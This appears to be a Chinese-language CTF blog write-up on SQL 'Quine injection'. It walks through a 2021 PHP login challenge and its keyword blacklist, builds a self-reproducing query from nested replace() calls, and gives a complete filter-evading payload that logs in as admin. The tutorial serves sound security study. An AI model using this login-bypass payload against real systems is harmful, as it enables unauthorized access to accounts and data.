LOADING

加载过慢请开启缓存 浏览器默认开启

Quine注入

什么是quine注入?

  quine是一种计算机程序,它不接受输入并产生自己源代码的副本作为唯一的输出.
  在ctf应用中,Quine注入的目的就是使得输入输出一致,绕过限制登录。这样说大概还是不够具体,让我们看一道例题吧。

[第五空间 2021]yet_another_mysql_injection

  以下是源码:

<?php
  include_once("lib.php");
function alertMes($mes,$url){
  die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
  if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
    alertMes('hacker', 'index.php');
  }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
  $username=$_POST['username'];
  $password=$_POST['password'];
  if ($username !== 'admin') {
    alertMes('only admin can login', 'index.php');
  }
  checkSql($password);
  $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
  $user_result=mysqli_query($con,$sql);
  $row = mysqli_fetch_array($user_result);
  if (!$row) {
    alertMes("something wrong",'index.php');
  }
  if ($row['password'] === $password) {
    die($FLAG);
  } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
  ?>
  <!-- /?source -->
  <html>
    <body>
      <form action="/index.php" method="post">
        <input type="text" name="username" placeholder="账号"><br/>
        <input type="password" name="password" placeholder="密码"><br/>
        <input type="submit" / value="登录">
      </form>
    </body>
  </html>

  关键在于if ($row[‘password’] === $password) ,也就是说,我们查询出来的结果要和我们输入的密码强一致才能登录成功。也就是要用到quine这个“自己生自己”的技巧了。在做这题之前,我们要先搞清楚sql_quine注入的构造过程。

构造quine

  最基础的基本语句:select replace(“.”,char(46),”.”);,作用就是把”.”中的.换成.(非常像废话,但这就是核心思路了)
  接下来看这个语句:

select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")'); #查询语句
replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")"); #输出语句

  真神奇啊,查询语句和输出基本是完全一致的。但有问题,那就是引号仍然存在不同,原本的单引号成为了双引号(本来字符串中包含.的是双引号,所以会出现这样的情况),然而我们不能把原来的单引号改成双引号来避免,
  因为replace(“.”,char(46),”.”)字符串中有双引号,所以把它当作字符串写入replace时要用单引号,不然会报错
  所以要想办法把’变成”,同时又要保持输入输出相等,那么再用一次replace不久好了?于是就构造出了以下的语句:

replace(".",char(34),char(39)) #首先是最好想的,把"变成',输出的是 .
replace(replace(".",char(34),char(39)),char(46),".") #实现自我替换,输出的仍然是 .
replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)); #将之前的语句作为字符串,改变其中的引号,成功达成了将引号变换
replace(replace('.',char(34),char(39)),char(46),'.')

  实现了引号的替换,就再套一次之前的quine语句就好哩

select replace(replace('select replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'select replace(replace(".",char(34),char(39)),char(46),".")');

  这就是sql quine的语句了,真的很神奇呢。

回到例题

  再看例题,利用我们得出的模板,改为注入的样式即可

1" union select replace(replace(".",char(34),char(39)),char(46),".")# 
/*这个是基本的语句,参考 replace(replace(".",char(34),char(39)),char(46),".")*/
replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39))
/*这样就解决了引号不一致的问题*/
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#
/*这个语句的返回值就和它本身是一模一样的了,也就是所谓的输入输出一致*/
/*这里还要注意以下基本语句的1"的这个双引号,因为这里用单引号的话会有配对问题,所以设为双引号,利用之后的replace来使之变为单引号,不会引起匹配问题。*/

最终pl:

username=admin&password=1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

总结

  尽管quine注入的适用范围似乎并不太大,但确实很有意思,也可能可以用来解决一些密码比较问题,也比盲注方便不少。
  多一门手艺总是好的🤗

参考 🥰:
- SQL注入之Quine注入
- Quine注入